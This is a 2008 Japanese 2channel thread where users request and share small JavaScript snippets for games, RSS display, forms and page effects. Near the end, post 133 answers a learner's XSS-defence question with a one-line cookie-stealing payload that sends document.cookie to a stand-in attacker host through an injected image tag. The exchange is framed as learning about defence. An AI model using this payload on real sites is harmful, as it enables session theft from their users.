もう4時か、
2ちゃんねる ■掲示板に戻る■ 全部 1- 最新50 [PR]女性必見!ネットで高収入バイト[PR]  

[JavaScript]プログラム作成します

1 : ◆/Eu2.xvuyU :2008/06/04(水) 21:26:05 ID:???
簡易的なプログラムを中心に要望にお応えしてプログラム作ります。
使うものはJavaScript、HTML、CSS、XMLのみです。

2 :Name_Not_Found:2008/06/04(水) 21:54:58 ID:???
んじゃコラムス頼む

3 : ◆/Eu2.xvuyU :2008/06/04(水) 22:19:30 ID:???
>>2
テトリスみたいな落ちゲーなのかな?
コラムス知らないからkwskおねがい

4 :help:2008/06/04(水) 22:40:10 ID:GSbMkkT5
2進数 1111111111111111111111111111111 (31桁の2進数)
を10進数に変換するプログラムを書き、桁とその桁の値に該当
する10進数(例えば、4桁目は2の3乗で8である)および変換された
10進数を表にして出力せよ。


javascriptで教えてください;;

5 : ◆/Eu2.xvuyU :2008/06/04(水) 22:54:18 ID:???
>>4
自分の理解力不足か問題の意味がわかりません。
>>2進数[1111111111111111111111111111111]を10進数に変換
parseInt("1111111111111111111111111111111",2);でしょうか?
>>桁とその桁に該当する10進数
よくわかりません
>>及び変換された10進数を「表」にして出力
ここもよくわかりません

多分自分の理解力不足なのでしょうね

6 : ◆/Eu2.xvuyU :2008/06/04(水) 23:23:50 ID:???
あーコラムス疲れる;
今日中の完成は無理そうです;

7 :Name_Not_Found:2008/06/05(木) 14:42:46 ID:???
画像を2進数に変換するプログラム

8 :Name_Not_Found:2008/06/05(木) 15:48:09 ID:???
OH!Myベイビーみたいなの

9 :Name_Not_Found:2008/06/06(金) 05:47:53 ID:???
コラムスにいくら時間かかってんだよ

10 :Name_Not_Found:2008/06/09(月) 06:18:14 ID:vGF9cdNm
RSSを用いて↓のサイトの用に表示できるよう
[JavaScript]プログラムの作成をお願いします。
http://www.webmemo.jp/star/update.php

11 :405(元fonojyakku) InternetServerError:2008/06/09(月) 06:46:49 ID:???
テーブルの内容を「 」「○」「●」にして、オセロ。
tableにonClickつけて挑戦してみたのですが・・・・・・(汗でした
すみません、お願いします。
2,1,0の値を「○」「●」「 」に変換するようなプログラムにしていました。
ですが、駒が返る方向などの判定プログラムが私の技量不足により(汗でした。
あと、コンピューターと人で、先手後手を自動的に切り替えるようとしたのですが、それも(汗でした
どうも、うまくいきません。
ソースを消してしまったのが失敗でした(泣
無理なら、遠慮します。
こんなのです。

12 :Name_Not_Found:2008/06/09(月) 20:08:46 ID:???
このコラムスの時間のかかり用から見ると、
>>1はJavaScript始めたばっかか、逃げたな

13 :Name_Not_Found:2008/06/10(火) 00:38:29 ID:???
>>10
ドメイン越えなきゃならんのでjsだけじゃ無理だしょ
phpなどでhttpclient動作する何か挟めばいけるけど、そゆのでいい?

14 :10:2008/06/10(火) 11:53:52 ID:8dBXpNkL
>>13
お願いします。

15 :Name_Not_Found:2008/06/10(火) 23:03:31 ID:???
ん、週末でよければ試してみるよ

16 :13,15:2008/06/11(水) 16:06:10 ID:???
>>10,14
ほい。こんなんでいいのかな。
データ取得はphp、パースと表示はJSでやってますよ。

・動作例
http://non-chang.heteml.jp/labo/applications/rssreader/test_composite.php

・概要
http://non-chang.heteml.jp/labo/applications/rssreader/

・アーカイブ
http://non-chang.heteml.jp/labo/applications/rssreader/_archives/20080611rssreader.zip

>>10
>RSSを用いて↓のサイトの用に
とあるけど、そのサイトがどういうロジックでリスト取得してるのか判らないのでそこは保留してます。
まあURLリストを複数設定できるようにしてるんで、あとは工夫してやってください。

17 :10:2008/06/13(金) 14:43:42 ID:BobHDg1p
ありがとうございます。
使いかってもよく非常に助かりました!!

18 :Name_Not_Found:2008/06/13(金) 15:55:01 ID:KbrcT9Fa
あるHP内の<div>~</div>でかこってつくられたテキスト表示用の窓に
別の環境から書いたテキストを即時反映する仕組みのようなものはつくれますか?

19 :Name_Not_Found:2008/06/13(金) 16:46:06 ID:???
>>18
>別の環境から書いたテキストを即時反映
JavaScriptだけだと難しいかな。ポーリングすりゃweb間の同期は取れるんだけど妙に大掛かりになりそ
入力したものが即時反映ってのでなければiframeとかで十分だと思う

リアルタイムチャット状態を意図してるのなら、
FlashのローカルShared Objectなんかを使った方が便利かも。

20 :Name_Not_Found:2008/06/13(金) 17:28:06 ID:KbrcT9Fa
なるほどありがとうです。
会社の商用サイトなどでの緊急お知らせティッカーみたいなものです
サイト管理者不在の場合に、管理者以外の人が本来のサイト管理用の
パスワード・IDとは別に、その窓用に用意した社内の汎用パスワード・IDを
使って書き込みし、テキストをポストするといったような使い方を考えていました


21 :Name_Not_Found:2008/06/13(金) 17:50:33 ID:???
それって機能自体は、掲示板系の構成変えただけですな。
むしろjavascript不要かと
phpやcgiの制作依頼スレ/CGI探しスレの方が適切かもですよ

↓こことか
【CGI】こんなCGI探してます
http://pc11.2ch.net/test/read.cgi/hp/1212904818/


22 :Name_Not_Found:2008/06/14(土) 16:41:15 ID:???
コラムス待ち10日目

23 :Name_Not_Found:2008/06/14(土) 21:28:17 ID:XJxLL29o
よこれす。
>>11
サンプル(突発で作ったからいろいろ未完成でごめん。。)
http://hpseisaku.konjiki.jp/
・基本プログラムは〜osero.jsにあり。
・コンピュータとの対戦は諦め。(時間があったらやろうかな)
・無駄なJSファイルの読み込み多い & 無駄に効率が悪い。。
・オセロの公式ルールとかよくわかんないからテキトー
 ⇒普通にスルーで、、

24 :Name_Not_Found:2008/06/14(土) 21:58:41 ID:???
コラムス遅えなw

25 :Name_Not_Found:2008/07/05(土) 20:57:16 ID:gSMm4VqU
クリックで背景画像を変更するプログラムをお願いします。

26 :Name_Not_Found:2008/07/05(土) 22:15:44 ID:???
<html><head>
<META http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>test</title>
<script type="text/javascript">
function test(num){
var imageList=[
"1.jpg",
"2.jpg"
] ;
document.getElementById("bW").style.background="url("+imageList[num]+")" ;
}
</script>
<style type="text/css">
#bW{height : 100% ; width : 100% ;}
</style>
</head>
<body>
<div id="bW">
<textarea id="t"></textarea>
<input type="button" onclick="test(0)" value="一枚目"></body>
<input type="button" onclick="test(1)" value="二枚目"></body>
</div>
</html>

こんなんでどう

27 :Name_Not_Found:2008/07/05(土) 23:11:26 ID:???
別のスレで蹴られちゃったので・・・
ttp://www.hotajax.org/content/view/515/248/
この「ShowCase menu」というスクリプトを応用した、画像のギャラリーページ用スクリプトを作ってください。
1ページ内に数段、設置したいのですが上手く行きません。

[機能]
1.画像をクリックするとアコーディオンのように画像の全体が表示される
2.画像右下のボタンをクリックするとリンク先のオリジナルサイズの画像が開く

2はLightbox系スクリプトを使うつもりです。
ヨロシクお願いしますm(_ _)m

28 :Name_Not_Found:2008/07/06(日) 01:23:00 ID:???
mootoolsは苦手

29 :Name_Not_Found:2008/07/06(日) 13:32:47 ID:???
2000円で!

30 :Name_Not_Found:2008/07/07(月) 13:48:08 ID:mvScWrNY
>>29>>27?職人?

31 :おでん:2008/07/07(月) 21:51:09 ID:wrYSbZO3
data.cgi形式で、
ファイルを読み込むことが可能なJAVASCRIPTの作り方教えてください。

32 :Name_Not_Found:2008/07/07(月) 23:15:59 ID:???
>>30
27です。

33 :Name_Not_Found:2008/07/07(月) 23:57:01 ID:???
>>31
data.cgiってファイルフォーマットじゃなくデータ読ませないための慣用でそ
具体的にどんなファイルなのか判らないと解答不能だよ
多分XHRになるんだろうけどバイナリだと扱えないし

34 :Name_Not_Found:2008/07/09(水) 03:45:33 ID:???
>>27
ソース見たけどこれ初心者が適当に書いた物だ。
グローバルスコープ多用してるから望み通りに動かすには全体に修正を加える必要がある。
他のまともなのを探すが吉。

35 :27:2008/07/09(水) 23:22:04 ID:???
>>34
既に、アコーディオン系スクリプトやImage menuというスクリプトを試してみたのですが、
これ以上に目的に近いものを見つけられていない状態です。
新しいタイプのギャラリー系スクリプトになると思うのですが・・・ なんとかなりませんか?

36 :Name_Not_Found:2008/07/10(木) 06:47:26 ID:???
>>27
多段にしてソースと動作をしばらく見比べてみたら部分的な修正で動きそうだったんで書いてみたよ。
飽くまで即席であって、ちゃんとしたものにするには一から書いた方が早そう。

[htmlのみ] http://www-2ch.net:8080/up/download/1215639295836308.uAA1Ve?dl
注意
 id=showCaseContainerの部分 は class="showCaseContainer"に変更
 var cols = 5; には横一列に置く画像の数を正しく指定

37 :27:2008/07/10(木) 17:31:03 ID:???
>>36
ありがとうございます!
動作テストをしてみたところ、IE7とFirefox3上で想像通りの動作をしています。

相談なのですが、もし、“ちゃんとしたもの(詳しくは分りませんが・・)”にしていただけたら
少ないですが、前に提示したもの+α程度の報酬をお支払いいたしますが、いかがでしょうか?
よかったら考えてみてください。

38 :Name_Not_Found:2008/07/10(木) 22:31:30 ID:???
いや、ちゃんとしたものっつっても内部的な話で見た目は変わらんから
期待通り動いてるんならいいんじゃない。

39 :27:2008/07/10(木) 23:26:27 ID:???
>>38
そうですか? なんだか申し訳ないですが、、、
今回は本当に有難うございました m(u_u)m

40 :Name_Not_Found:2008/07/15(火) 06:56:23 ID:???
ところで、JavaScriptはプログラムといっていいものなの?

41 :Name_Not_Found:2008/07/15(火) 14:56:58 ID:???
そら勿論だ
違和感あるなら名前通りスクリプトって言ってやればいいよ

42 :Name_Not_Found:2008/07/24(木) 04:13:06 ID:???
ホームページ制作王を使えば、どんなホームページでも、
感覚的に、かつワンタッチにて制作・管理することができる。

ホームページ制作王は、世界標準であるから、
初心者でもプロでも、ユーザーの属性に応じて、常に最高品質のWebをクリエイトする。

動画、フラッシュ、java、perl、php、aspなど、ホームページ制作王なら、
全てに対応する。

ホームページ制作王に不可能はない!

ホームページ制作王は、世界の権威COMDEXが認めた唯一の世界標準。
ホームページ制作王は、人類の叡智そのものである。

繰り返す。ホームページ制作王に不可能はない!

43 :Name_Not_Found:2008/07/24(木) 06:54:07 ID:???
Macで使えねぇじゃん

44 :Name_Not_Found:2008/07/24(木) 13:16:30 ID:???
「動画」が作れるのか、そりゃすごい

45 :Name_Not_Found:2008/07/24(木) 13:56:18 ID:18PwLf6i
じゃあ、最強のLightbox系スクリプトを作っておくれ。
[色んなLightbox系に搭載されてる機能一覧]
・画像以外のファイル表示に対応(動画、文書、HTML、Flash、PDF等)
・スライドショー機能
・画像の拡大表示機能
・オリジナルファイルを同一画面/新しい画面で開く
・表示中のファイルをダウンロード
・画像をウィンドウサイズに合わせてリサイズして表示
・ブラウザのスクロール、サイズ変更などがあっても、常にブラウザの中央に表示される
・表示するファイルに透かしを挿入(ロゴとか)
・表示枠のカスタマイズ(色、角丸)
・グループ機能
・軽い
・灰色背景の描画ON/OFF
・表示エフェクト

・これらの機能を設定でON/OFF可能

46 :Name_Not_Found:2008/07/24(木) 18:40:14 ID:???
おい、割り込むよ。コラムスが先だ。

47 :Name_Not_Found:2008/07/24(木) 21:28:49 ID:???
ホームページ制作王でササッとコラムス作ってあげなよ。

48 :Name_Not_Found:2008/07/24(木) 23:45:22 ID:???
ホームページ制作王でサクっとAirアプリ作ってください
ドラッグ&ドロップでOffice系ドキュメントをPDFにして、
セキュリティ認証つけてくれればいいよ。
できれば、管理画面からPDFにした後でも認証設定を変更できるようにしてくれ。

49 :Name_Not_Found:2008/07/25(金) 13:50:13 ID:???
ホ ー ム ペ ー ジ 制 作 王 が J a v a S c r i p t に 対 応 し て な い 件

50 :Name_Not_Found:2008/07/25(金) 22:29:56 ID:???
>>42
おいwww

51 :Name_Not_Found:2008/07/26(土) 03:24:11 ID:???
>>動画、フラッシュ、java、perl、php、aspなど、ホームページ制作王なら、
>>全てに対応する。
これは・・・すべてに対応するって書いてあるからjavascriptおkなのかな?
でもaspまで上げといてjavascript書かないってのも引っかかるなあ

52 :Name_Not_Found:2008/07/26(土) 16:37:22 ID:???
製作王マニアはなんでもできるって言ってるだけのネタ野郎だからw

53 :Name_Not_Found:2008/07/28(月) 23:03:49 ID:???
Javascriptでこんなフォーム作れますか?

入力項目
mail homepageURL HN userID

出力(表示)
1入力エラー表示:
homepageURLが入力されていません。

2入力処理表示:
HNさん専用のURLです。
http://www.***.com/userID/1.html
http:/www.***.com/userID/2.html

54 :Name_Not_Found:2008/07/28(月) 23:45:12 ID:???
コラムスなんてとっくに誰かが作ってるだろと検索したらやっぱりあった。

Javascript Columns
http://www.drque.net/Projects/Columns/


55 :Name_Not_Found:2008/07/28(月) 23:55:30 ID:???
じゃあ次は>>45の最強のLightboxってことで。

56 :Name_Not_Found:2008/07/29(火) 23:00:35 ID:???
>>・軽い
>>・これらの機能を設定でON/OFF可能

var light = true;  // 軽くするならtrue

こんな感じになるのかな

57 :Name_Not_Found:2008/07/30(水) 13:47:11 ID:???
吹いたwww

58 :Name_Not_Found:2008/07/30(水) 23:02:06 ID:???
falseにすると何が起こるんだ

むしろそれ重くする機能じゃねえのかw

59 :Name_Not_Found:2008/08/02(土) 08:04:29 ID:???
if(light){
  a = 10;
}
else{
  for(i=0;i!=10;i++){
    a = i;
  }
}

60 :fonojyakku:2008/08/03(日) 00:01:31 ID:hIRIn32g
>>23
ほんとに遅くなってすみません。
暇がなくて。・・・・
本当に遅くなって・・・・・

取れる数を出すセクション(部分)があるので、
これをベースに、自動思考やってみたいと思います。
(激しく重いかもしれませんが。)
できたら、結果報告、できるかな。
それとも、がんばっているうちに、このスレのことを忘れてしまうのかな。
がんばってみます。
ポインタの位置で出している場合でも、がんばってみます。

あと、本当にありがとうございます。
いや、もしかしたら、ここにくるのも最後かもしれませんので、
ありがとうございました。

61 :fonojyakku:2008/08/03(日) 00:16:29 ID:hIRIn32g
マッタリ読んでたらまたくる気になれました

62 :Name_Not_Found:2008/08/03(日) 00:23:22 ID:???
>>60
頑張って! 応援してるよ!!

63 :Name_Not_Found:2008/08/04(月) 13:36:21 ID:wteL7dOv
夏だし、ここももっと活発になるかな?
>>60が良い空気を作ってくれるのに期待。

64 :405(元fonojyakku) InternetServerError:2008/08/05(火) 15:41:44 ID:???
>>60
孤軍奮闘してます。
すみません、ソースが複雑な構成なっていて、大変なんで
//コメント
を入れてがんばってます。
コマの場所を入れて、取れる数を返す関数ってどこですか?
また、その関数の返却値はどこの変数に返されますか?


65 :Name_Not_Found:2008/08/05(火) 20:44:31 ID:???
良スレの予感

66 :Name_Not_Found:2008/08/09(土) 04:53:01 ID:???
任意のhtmlファイルを渡すと
そのhtmlの中からh2要素を抜き出して
h2要素の持つテキストを一覧にして表示してくれるようなjavascriptをお願いします。

67 :Name_Not_Found:2008/08/09(土) 04:55:40 ID:???
すいません。
ユーザースクリプトみたいな感じで使えるとありがたいです
お願いします

68 :Name_Not_Found:2008/08/09(土) 13:54:21 ID:???
firefoxのアドオンやグリモンのスクリプトなんかの作成をお願いできないでしょうか?

69 :Name_Not_Found:2008/08/09(土) 15:49:29 ID:???
>>68
気が向けば作るけど、どんなの?

70 :68:2008/08/09(土) 18:08:17 ID:???
Firefoxで表示したページのタイトルとアドレス(表示履歴)をgmailかgooglenoteなどのオンラインストレージに転送するアドオンです。
何年分もためれるようにしたいです。さすがに全文残すだと重くなるでしょうから。
昔、gbrain(http://huwy.seesaa.net/article/84575496.html)というアドオンがあったようなのですが
googleに負荷がかかりすぎるといわれ現在公開中止中です。

このようなアドオンをお願いします。


71 :Name_Not_Found:2008/08/11(月) 03:50:00 ID:TWesbUfn
CSSのtext-autospaceのような機能のjavascriptをお願いします。


72 :Name_Not_Found:2008/08/24(日) 03:10:47 ID:k23O8fvn
保守

73 :Name_Not_Found:2008/09/02(火) 12:17:48 ID:pNrmnAK8
夏の成果をみせて

74 :Name_Not_Found:2008/09/02(火) 13:01:48 ID:???
>>1はどこいった

75 :Name_Not_Found:2008/09/09(火) 22:39:55 ID:2ErVuYAk
懸賞金とかかけたら活発になる?(安いけど)

76 :Name_Not_Found:2008/09/17(水) 00:58:07 ID:???
mixi videoのflvを落とすためのリンクを出すグリモン
お願いします!

77 :Name_Not_Found:2008/09/17(水) 02:57:32 ID:???
flvだったらキャッシュに落ちるから
IE使えば手作業でも抜けそうだが。

78 :405 元fonojyakku:2008/09/19(金) 17:57:00 ID:???
>>1
さん、どこですか?
返却値はどこですか?

79 :Name_Not_Found:2008/09/20(土) 15:17:45 ID:xcTVir67
3次の彼女が出来るスクリプトお願いします><

80 :Name_Not_Found:2008/10/02(木) 15:49:37 ID:???
ム板単発質問の誘導用に失礼します
http://non-chang.heteml.jp/release/2ch/_temp/rnd.html

81 :Name_Not_Found:2008/10/07(火) 16:43:20 ID:IxVUV7Or
http://mamono.2ch.net/test/read.cgi/hikky/1222752137/152-156
これの評価お願いします

82 :Name_Not_Found:2008/10/07(火) 17:31:10 ID:???
ふむむ

83 :Name_Not_Found:2008/10/07(火) 19:43:58 ID:???
元スレで拾い物だとか言われてるようだけど

84 :Name_Not_Found:2008/10/14(火) 02:58:15 ID:2/3QIMpn
それは気のせい

85 :Name_Not_Found:2008/10/23(木) 17:35:23 ID:???
ボタンを押すと、普通にホームページに書いてある文字が変わるように出来ませんか?

86 :Name_Not_Found:2008/10/23(木) 17:41:32 ID:???
<script type="text/javascript">
<!--
function func() {
document.all.ABC.innerHTML = "<b>おやすみ</b>";
}
// -->
</script>
<div id="ABC">おはよう</div>
<button onclick="func()">OK</button>

87 :Name_Not_Found:2008/10/23(木) 19:50:17 ID:???
ありがとうございます。
まさに思っていた通りのものでした。
参考に遣わさせていただきます。

88 :Name_Not_Found:2008/10/23(木) 20:53:55 ID:???
4つあるチェックボックスのいずれかをチェックしたら、
ラジオボタンが2つ活性します。
チェックがボックスのチェックが外れたら非活性となります。
関数が作れず困っております。
何方かサンプルソースを作成していただけないでしょうか?


89 :Name_Not_Found:2008/10/23(木) 22:31:08 ID:???
ttp://homepage.mac.com/catincat/javascript/misprint.html

これみたいな入力した文字を変換するやつって作れませんか?
あ→ア みたいに

90 :Name_Not_Found:2008/10/24(金) 10:54:45 ID:???
>>88
活性て何よ。灰色だったのがふつうになるやつ?

91 :Name_Not_Found:2008/10/24(金) 11:38:56 ID:???
>>89
サンプルとしてあげてくれたページのソースを書き換えればいいんじゃない?

キャラクターコードから変換するものだとコード体系に依存するので
2chのログでは例を出し辛いと思う。

92 :Name_Not_Found:2008/10/24(金) 23:02:59 ID:???
今のメジャーなブラウザの多くは、
文字列を内部ではUnicodeで管理しているのだから、その点は特に問題にはならないのでは。

>>89のように列挙しても出来るけど、
window.escapeしてから、RegExpのreplaceで変換する方が良さげだね。

93 :Name_Not_Found:2008/10/31(金) 13:42:56 ID:eGX6UBNd
>>86の”おはよう”の文字のところに、変数を用意して、その数字を
表示するようにしたいのですが、どうしたらできますか?
それと86は小文字のjavascriptみたいなので大文字のやつを出来たら教えてください。
ボタンとかの書き方も、なんか普通と違っているんですけど、これは省略形みたいなやつですか?
詳しくお願いします。本当に困ってます。

94 :Name_Not_Found:2008/10/31(金) 13:46:29 ID:KXQwZiww
小文字って何だ?

95 :Name_Not_Found:2008/10/31(金) 13:49:48 ID:???
わたしのしっているのでは<>の内部は大文字なので。

96 :Name_Not_Found:2008/10/31(金) 13:52:35 ID:???
ボタンの書き方って、普通ってどうやるの?

97 :Name_Not_Found:2008/10/31(金) 13:53:33 ID:???
>>86は↓の無断コピペだから
http://www.tohoho-web.com/js/element.htm#innerHTML

98 :Name_Not_Found:2008/10/31(金) 13:59:10 ID:???
文字列を書くとき、ふつうは
""の中に書いて、変数の場合は""の外に書くのに
そのかきかただと""が無いのに文字列になってます。

99 :Name_Not_Found:2008/10/31(金) 14:01:35 ID:???
>>98
どこの文字列?

100 :Name_Not_Found:2008/10/31(金) 14:02:32 ID:???
<button onclick="func()">OK</button>
↑の書き方自体が大文字の書き方と違うので分かりません

101 :Name_Not_Found:2008/10/31(金) 14:05:21 ID:???
>>100
大文字の書き方だとどう書くの?

102 :Name_Not_Found:2008/10/31(金) 14:06:50 ID:???
<BUTTON ONCLICK="func()">OK</BUTTON>ってことじゃね?

103 :Name_Not_Found:2008/10/31(金) 14:11:18 ID:???
>>102
それって何が違うんだ?

104 :Name_Not_Found:2008/10/31(金) 14:11:49 ID:eGX6UBNd
<INPUT TYPE="button" VALUE="おはよう" onclick="func()">
なんです。
このばあいおはようは""の中にあるのでその外で変数を書けば変数が文字になるけど、
もう一つの場合はそれができませんということです。

105 :Name_Not_Found:2008/10/31(金) 14:13:23 ID:???
タグの中って別に大文字小文字関係ないと思うけど

106 :Name_Not_Found:2008/10/31(金) 14:27:07 ID:KXQwZiww
test

107 :Name_Not_Found:2008/10/31(金) 14:28:13 ID:???
>>86の書き方は、すなわち省略形ですか?
その点を伺いたいです。

108 :Name_Not_Found:2008/10/31(金) 14:29:06 ID:KXQwZiww
<INPUT TYPE="button" VALUE="おはよう" onclick="func()">
<input type="button" value="おはよう" onclick="func()">
どっちでも動くと思うが
まぁ質問はそこじゃないよね
>>86の「おはよう」の部分は<BUTTON>タグじゃなくて<DIV>タグだと思うんだが

109 :Name_Not_Found:2008/10/31(金) 14:30:18 ID:KXQwZiww
省略じゃないよ
<BUTTON>タグってのがあるんだよ<INPUT>タグとは別ものだよ

110 :Name_Not_Found:2008/10/31(金) 14:46:59 ID:???
>>105
HTMLならどちらでもok、XHTMLでは小文字のみ。

111 :Name_Not_Found:2008/10/31(金) 14:48:32 ID:???
          _________
      ,.r‐''''...................-、
    /:::::::::::::::::::_ ::::::::ヽ
    !::::::::::::::::::::::}十{::::::::::::::i
    !::::::::::::::::::_,,、-'''''' ̄ ̄`'ヽ
    |ミシ ̄ ̄__,,,〜,__ !'''"  マターリよ♪♪♪
    /  ==⊂⊃=⊂⊃=\      
     |     \  ・・ / |  
      \     |  ◎ | ,/  

   .(6ミシ  ,,( ノ)、 /(ヽゝ |    
     し.    "~~´i |`~~゛ .i    
      ミ:::|:::::........ f ・ ・)、 ...:::i
       ヽ::::::::::::-=三=-:::/
      \ヽ:::::::::::゛::::ノ/ 
      /   \ , , /\
    /    (●)  (●) \
      /   \ , , /\       
     |     ⌒(__人__)⌒ |    死ねはいかんお!
      \      ` ⌒´  ,/  

112 :Name_Not_Found:2008/10/31(金) 15:05:36 ID:???
>>93は質問をもっとわかりやすく書いてほしい

113 :Name_Not_Found:2008/10/31(金) 15:42:12 ID:???
<INPUT ID="btn" TYPE="button" VALUE="おはよう" onclick="func()">

で、
変えたいときに document.getElementById("btn").value = "おやすみ";

とか?

114 :Name_Not_Found:2008/10/31(金) 18:30:57 ID:???
cgiが吐き出す外部スクリプトの処理が遅くてページの読み込みが滞ってしまうので、
window.onloadで最後にやらせたいんですが、
window.onloadで、
<script type="text/javascript" src="http://example.com/hoge.cgi" charset="UTF-8"></script>
<script type="text/javascript" src="http://example.com/hage.cgi" charset="UTF-8"></script>
の二つを実行させるにはどのように指定すればいいのでしょうか?

関係あるかわかんないんですが、
hoge.cgi、hage.cgiの中身はいずれも最終的には
abc.innerHTML=are、xyz.innerHTML=soreという感じで、
document.writeは使われていません。

115 :Name_Not_Found:2008/10/31(金) 21:22:02 ID:???
ひとまず、おまえらさぁ

とほほのWWW入門
http://www.tohoho-web.com/www.htm


こことか見てさ、調べてから来いよ
たまに調べればすぐ分かるような質問みかけるけどさ
調べてもわからないなら、もっと詳細を書くべきだよ?
何を質問してるかわからんわい

116 :Name_Not_Found:2008/11/01(土) 16:17:11 ID:???
>>114
HTMLの一番最後に配置するだけでいいんじゃない?

117 :Name_Not_Found:2008/11/02(日) 18:16:30 ID:???
今とほほ薦めちゃまずいような

とっかかり用途だと判りやすいのかな?

118 :Name_Not_Found:2008/11/03(月) 00:08:34 ID:???
>>115のサイトとopenspc2.orgは反面教師としての存在価値はあるのでは。
素人でも簡単にここまでは出来るが、
それで満足してしまうと実務レベルからは程遠い残念な事になるという良い実例。

119 :Name_Not_Found:2008/11/03(月) 01:00:36 ID:???
↑成立背景を無視した近視眼的な物言いの凡例

とほほの成立時期を全く知らない自称実務レベル?笑わせる。
あれは HTML の仕様なんてほとんど後付けだった時代に作られたもの。
今の JavaScript の状況よりもっとひどかった。
“情報が古い”程度で止めときゃいいものを、
知ったかしようとするからこんなアホなこと書くんだ。

120 :Name_Not_Found:2008/11/03(月) 01:46:27 ID:???
インターネットで無料で情報を入手しようとするのが甘い。
金だしてしかるべきところから情報を得るべき

121 :Name_Not_Found:2008/11/03(月) 12:14:13 ID:???
>>119
既に更新が停止しているサイトならともかく、
現在も更新されているらしいサイトで設立背景が云々なんて弁明にもならない。
糞は糞というだけ。

122 :Name_Not_Found:2008/11/03(月) 12:37:37 ID:???
内容に問題がある点については共通した認識を持っていて
それを言葉でどう表現するか「どこまで悪く言うか」
の違いだけなんじゃね。
そんなことで言い争いしても問題の解決にはならないから
代わりになるものを挙げたらどう?

123 :Name_Not_Found:2008/11/03(月) 13:18:03 ID:DhiNtINQ
javascript初心者です。
二つのテキストフィールドに入力した数値を足して別のテキストフィールドに
結果を出力するというのを作っているのですが、うまく動きません。
ここでソースを載せたら見てもらえますかね。。?

124 :Name_Not_Found:2008/11/03(月) 13:22:54 ID:DhiNtINQ
function valueFigure() {
int value1Int,value2Int;
value1Int = eval(document.value1);
value2Int = eval(document.value2);
document.form.ansInt.value = value1Int + value2Int;
}
//-->
<body>
<form name="form">
二つの数字を入力して下さいね〜。<br>
<!-- 入力テキストフィールド:左 -->
<input type="text" name="value1" style="width=30">+
<!-- 入力テキストフィールド:右 -->
<input type="text" name="value2" style="width=30">=
<!-- 結果出力テキストフィールド -->
<input type="text" name="ansInt" style="width=30">
<!-- アクションボタン:足算 -->
<input type="button" value="足算" style="width=50" onMouseClick="valueFigure()">
<!-- テキストフィールドリセット -->
<input type=reset value="reset">
以下略...

結果を出力するとこの値渡しがうまくいってないのかなと思ってるのですが・・
どこが悪いんでしょう?IEで動作確認してますぅ。

125 :Name_Not_Found:2008/11/03(月) 15:28:40 ID:???
喋り方も何もかもが悪い

変数に型宣言はいらないint外してvarつけろ
document.value1はObjectなのにそれをevalしてどうする
formのnameに"form"を使うな
onMouseClickはonClickにしろ
て言うかDOM指定ならidつけろ



int value1Int,value2Int; → var value1Int, value2Int;
eval(document.value1); → document.form1.value1.value;
eval(document.value2); → document.form1.value2.value;
document.form.ansInt.value = value1Int + value2Int; → document.form1.ansInt.value = value1Int*1 + value2Int*1;
<form name="form"> → <form name="form1">
onMouseClick → onClick

126 :Name_Not_Found:2008/11/04(火) 01:47:17 ID:???
>>125
優しいなお前。

127 :Name_Not_Found:2008/11/04(火) 23:36:08 ID:???
これこそ2chの優しさだな

杜甫々氏の当時の功績は判るんだが、
直すべき古情報をいつまで放置するつもりなのか素で疑問。
初心者に抵抗の少ないサイトなのも、対抗馬たるサイトがないのも判るんだけどね
あのサイトの記述全部直すだけでも相当な労力あるしな。

あそこでサワリ覚えて
このスレで>>125みたいなツンデレにつつかれた方が
伸びるの早いかもしらんな。
二度手間だけど。

128 :Name_Not_Found:2008/11/05(水) 19:01:04 ID:???
>>127
基礎はオライリーのJavaScript本、
リファレンスはmozillaのサイトで問題無いのでは。
ttps://developer.mozilla.org/en/Core_JavaScript_1.5_Reference
あとはネットには参考になる大量のソースコードがあるのだから、
それらからノウハウを吸収しない手は無いね。

そういやちょっと前に埋まった手取り足取りスレのコテも、
とほほが参考になるなどと書いていたが、
功績というよりもあんな中途半端な知ったかを量産しただけのような気も。
未だにECMA以前のJavaScriptネタを特に注釈無く放置しているサイトは問題有るよ。

129 :Name_Not_Found:2008/11/23(日) 12:57:59 ID:???
ttp://h.ula.cc/ の、各ニュースの携帯向けURLリンクを、パソコン用URLの形式で開くことは可能ですか?

具体的に書くとすれば、
ttp://same.ula.cc/test/r.so/○○.2ch.net/△△△△/×××××/?guid=ON へのURLリンクを開くときに、

ttp://○○.2ch.net/test/read.cgi/△△△△/×××××/ として開いて欲しいのです。

130 :Name_Not_Found:2008/11/23(日) 16:16:15 ID:???
開いて欲しいってのがよく分からんが

var oriurl = "http://same.ula.cc/test/r.so/○○.2ch.net/△△△△/×××××/?guid=ON";
oriurl = oriurl.split("/");
var resurl = "http://"+oriurl[5]+"/test/read.cgi/"+oriurl[6]+"/"+oriurl[7]+"/";
alert(resurl);

131 :Name_Not_Found:2008/11/23(日) 17:12:32 ID:???
>>130
迅速な回答ありがとうございます。
こちらの知識不足&説明不足のためわかりづらかったと思います、すみません。
次回からはもう少し勉強してから書き込むようにします。

132 :Name_Not_Found:2008/11/25(火) 15:45:51 ID:???
ちょっと・・あまりこういうの書かない方がいいのかもしれないのですが・・
現在、xss対策について学んでいます。PHPがある程度書けまして、投稿されたalert('xss'); みたいのが実行されないようにPHPのエスケープ用関数を使って対策しているぐらいのレベルなんですが、
クッキーを盗むJavaScriptが具体的にどういったコードで書かれているのか知らずに対策しているため、あまり本質的な理解がないままXSS対策しているような感じです。
JavaScriptは今のとこ書けないのですが、クッキーを盗むコードというのは具体的どんなものなのか知りたいのです。(決して悪用のためではありません!)
攻撃スクリプトをそのまま載せて頂くのはちょっと問題があるかもしれないのでダメなら諦めますが、ヒントだけでも頂けたら幸いです。
alert('xss'); が埋め込まれて実行されてしまうような脆弱性のある動的ページだとしたら、JavaScriptによってクッキーを盗まれる可能性も同様にあるものと考えてよいのでしょうか??
ご教示頂けると助かります。

133 :Name_Not_Found:2008/11/25(火) 16:12:48 ID:???
document.body.innerHTML+='<img src="http://abunaisaito/nusumu?cookie='+document.cookie+'">';

134 :132:2008/11/25(火) 18:35:34 ID:???
ナルホド。。こういうことだったのですね。<a>でも代用できそうですね。。
ありがとうございますm(_ _)m

すいません若干スレ違いなのですがあと1つだけ質問させてください。
上に挙げて頂いた例ですと、XSSによってクッキー窃取するにはスクリプトを仕込まれたページからもう1アクション必要なようですが(上記だと画像のクリック)、
スクリプトを仕込まれたページにアクセスした瞬間にクッキーを窃取されるということはないと考えてよいのでしょうか??
ご教示頂けると幸いです。

